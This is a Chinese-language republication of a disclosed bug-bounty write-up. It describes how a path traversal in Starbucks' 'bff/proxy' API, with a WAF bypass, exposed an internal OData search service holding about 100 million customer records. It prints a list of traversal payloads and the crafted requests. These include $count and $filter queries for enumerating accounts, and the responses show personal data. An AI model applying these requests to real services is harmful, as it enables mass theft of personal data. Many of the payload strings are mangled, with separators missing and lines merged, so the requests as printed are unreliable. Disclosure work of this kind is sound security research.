前言
在花了一整天时间尝试寻找Verizon Media漏洞赏金计划的漏洞后,我决定放弃,去做些家务。我需要给朋友买生日礼物,于是上网订购了一张星巴克礼品卡。
当我尝试在星巴克网站上购买时,我注意到很多 API 调用,这些调用让我立刻感到可疑。有些请求是通过前缀为“/bff/proxy/”的 API 发送的,返回的数据似乎来自其他主机。
正文
由于星巴克有一个漏洞赏金计划,而我对当天没有取得任何进展感到有点失望,所以我决定进一步探索一下。
以下是返回我的用户信息的其中一个 API 调用的示例:
POST /bff/proxy/orchestra/get-user HTTP/1.1Host: app.starbucks.com
{"data": {"user": {"exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F","firstName": "Sam","lastName": "Curry","email": "[email protected]","partnerNumber": null,"birthDay": null,"birthMonth": null,"loyaltyProgram": null } }}
“bff” 实际上是“Backend for Frontend”的缩写,指的是用户交互的应用程序将请求转发到另一台主机,以实现实际的逻辑或功能。下图是一个非常简单的示意图,可以快速直观地了解 bff 的运作方式:
在上面的例子中,“app.starbucks.com”主机无法访问通过特定端点访问的逻辑或数据,但可以作为假设的第二个主机“internal.starbucks.com”的代理或中间人。
这里值得思考的一些有趣的事情是……
-
我们如何测试应用程序的路由?
-
如果应用程序将请求路由到内部主机,那么权限模型是什么样- 的?
-
我们可以控制发送到内部主机的请求中的路径或参数吗?
-
内部主机上是否存在开放重定向,如果是,应用程序是否会遵循开放重定向?
-
返回的内容是否必须匹配适当的类型(它是解析 JSON、XML 还是任何其他数据?)
我做的第一件事是尝试遍历 API 调用,以便可以加载其他路径,我执行此操作的方式是发送以下有效负载:
/bff/proxy/orchestra/get-user/..%2f/bff/proxy/orchestra/get-user/..;//bff/proxy/orchestra/get-user/..//bff/proxy/orchestra/get-user/..%00//bff/proxy/orchestra/get-user/..%0d//bff/proxy/orchestra/get-user/..%5c/bff/proxy/orchestra/get-user/../bff/proxy/orchestra/get-user/..%ff//bff/proxy/orchestra/get-user/%2e%2e%2f/bff/proxy/orchestra/get-user/.%2e//bff/proxy/orchestra/get-user/%3f (?)/bff/proxy/orchestra/get-user/%26 (&)/bff/proxy/orchestra/get-user/%23 (#)
可惜的是,这些方法都没用。它们都返回了同样的 404 页面,我通常会在尝试加载网站上根本不存在的页面时看到这种错误。
这表明,仅仅因为请求中的路径位于“/bff/proxy”下,它就不会带走我之后发送的所有内容。这可能更加明确。
在这种情况下,我们可以将“/bff/proxy/orchestra/get-user”视为我们正在调用的不接受用户输入的函数。我们有可能找到一个接受用户输入的函数,例如“/bff/proxy/users/:id”,这样我们就有空间来尝试并测试它会接受哪些数据。如果我们找到这样的 API 调用,我们可能会更幸运地尝试遍历有效负载并发送其他数据,因为它实际上接受了用户输入。
我查看了应用程序一段时间,直到我找到了更多的 API 调用。我发现的第一个接受用户输入的 API 调用如下:
GET /bff/proxy/stream/v1/me/streamItems/:streamItemId HTTP/1.1Host: app.starbucks.com
此端点与“get-user”端点不同,因为最后一个路径作为参数存在,我们可以在其中提供任意输入。如果将此输入作为内部系统上的路径处理,那么我们就可以遍历它并访问其他内部端点。
幸运的是,我尝试的第一个测试返回了一个非常好的指标,表明我们可以遍历端点:
GET /bff/proxy/stream/v1/users/me/streamItems/.. HTTP/1.1Host: app.starbucks.com
{"errors": [ {"message": "Not Found","errorCode": 404, ...
这个 JSON 响应与“/bff/proxy”下所有其他常规 API 调用的 JSON 响应相同。这表明我们攻击了内部系统,并成功修改了正在通信的路径。下一步是绘制内部系统图,而最好的方法是通过识别第一个返回“400 bad request”的路径,向下遍历到根目录。
不幸的是,我遇到了一个小障碍。有一个 WAF 不允许我深入两个目录:
GET /bff/proxy/stream/v1/users/me/streamItems/.... HTTP/1.1Host: app.starbucks.com
HTTP/1.1 403 Forbidden
幸运的是,WAF 非常糟糕:
GET /bff/proxy/stream/v1/me/streamItems/web..... HTTP/1.1Host: app.starbucks.com
{"errors": [ {"message": "Not Found","errorCode": 404, ...
最终,在回溯了 7 条路径之后,我收到了以下错误:
GET /bff/proxy/stream/v1/me/streamItems/web.................... HTTP/1.1Host: app.starbucks.com
{"errors": [ {"message": "Bad Request","errorCode": 400, ...
这意味着内部 API 的根将是 6 条路径,我们可以使用目录暴力破解工具或仅使用 Burp Suite 的入侵者和单词列表将其映射出来。
此时,我联系了贾斯汀·加德纳 (Justin Gardner) 和我一起探讨这个问题,因为我对该功能非常感兴趣。
他几乎立即就通过观察向内部系统根目录发出的不带正斜杠的 HTTP 请求,确定了内部系统根目录下的多条路径,这些路径随后会使用 Burp 的入侵者返回重定向代码:
GET /bff/proxy/stream/v1/users/me/streamItems/web..................searchHost: app.starbucks.com
HTTP/1.1 301 Moved PermanentlyServer: nginxContent-Type: text/htmlContent-Length: 162Location: /search/
当 Justin 努力寻找所有端点时,我则逐个检查每个目录。在运行自己的扫描后,我发现“v1”存在于“搜索”下,而“v1”下是“帐户”和“地址”。
我给贾斯汀发了一条消息,想着如果“/search/v1/accounts”端点是搜索所有生产账户,那该有多好笑……
事实确实如此。
“/search/v1/accounts” 是一个可以访问所有星巴克帐户的Microsoft Graph实例。
GET /bff/proxy/stream/v1/users/me/streamItems/web..................searchv1Accounts HTTP/1.1Host: app.starbucks.com
{"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts","value": [ {"Id": 1,"ExternalId": "12345","UserName": "UserName","FirstName": "FirstName","LastName": "LastName","EmailAddress": "[email protected]","Submarket": "US","PartnerNumber": null,"RegistrationDate": "1900-01-01T00:00:00Z","RegistrationSource": "iOSApp","LastUpdated": "2017-06-01T15:32:56.4925207Z" },...lots of production accounts
此外,“地址”端点返回了类似的内容......
GET /bff/proxy/stream/v1/users/me/streamItems/web..................searchv1Addresses HTTP/1.1Host: app.starbucks.com
{ "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Addresses", "value": [
{"Id": 1,"AccountId": 1,"AddressType": "3","AddressLine1": null,"AddressLine2": null,"AddressLine3": null,"City": null,"PostalCode": null,"Country": null,"CountrySubdivision": null,"FirstName": null,"LastName": null,"PhoneNumber": null },...lots of production addresses
这似乎是一项用于生产账户和地址的服务。我们开始进一步探索该服务,并使用 Microsoft Graph 功能来验证我们的猜测。
GET /bff/proxy/stream/v1/users/me/streamItems/web..................Searchv1Accounts?$count=trueHost: app.starbucks.com
{"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts","@odata.count":99356059}
通过从 Microsoft Graph URL 添加“skip”和“$count”等参数来枚举所有用户帐户,从而窃取这些数据。
此外,为了查明特定的用户帐户,攻击者可以使用“$filter”参数:
GET /bff/proxy/stream/v1/users/me/streamItems/web..................Searchv1Accounts?$filter=startswith(UserName,'redacted') HTTP/1.1Host: app.starbucks.com
{"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts","value": [ {"Id": 81763022,"ExternalId": "59d159e2-redacted-redacted-b037-e8cececdf354","UserName": "[email protected]","FirstName": "Justin","LastName": "Gardner","EmailAddress": "[email protected]","Submarket": "US","PartnerNumber": null,"RegistrationDate": "2018-05-19T18:52:15.0763564Z","RegistrationSource": "Android","LastUpdated": "2020-05-16T23:28:39.3426069Z" } ]}
由于一切都很敏感,我们继续报告了这个问题。仍有一些 API 可以访问,我们没有时间去探索。我们发现的其他一些端点是...
barcode, loyalty, appsettings, card, challenge, content, identifier, identity, onboarding, orderhistory, permissions, product, promotion, account, billingaddress, enrollment, location, music, offers, rewards, keyserver
这些其他内部端点可能(尽管未经证实)允许我们访问和修改账单地址、礼品卡、奖励和优惠等内容。
我们目前的概念证明表明我们可以访问近 1 亿星巴克顾客的姓名、电子邮件、电话号码和地址。
总结
“app.starbucks.com”上“/bff/proxy/”下的端点在内部路由请求以检索和存储数据。 可以遍历这些 API 调用来访问内部主机上不应访问的 URL。 内部 API 有一个暴露的 Microsoft Graph 实例,这将允许攻击者窃取近 1 亿条用户记录,包括姓名、电子邮件、电话号码和地址。
时间线
-
5 月 16 日报道 -
5月17日修复 -
赏金于 5 月 19 日颁发(4,000 美元) -
6 月 16 日披露漏洞
原文始发于微信公众号(夜组OSINT):赏金猎人 | 获取星巴克近 1 亿客户记录的漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论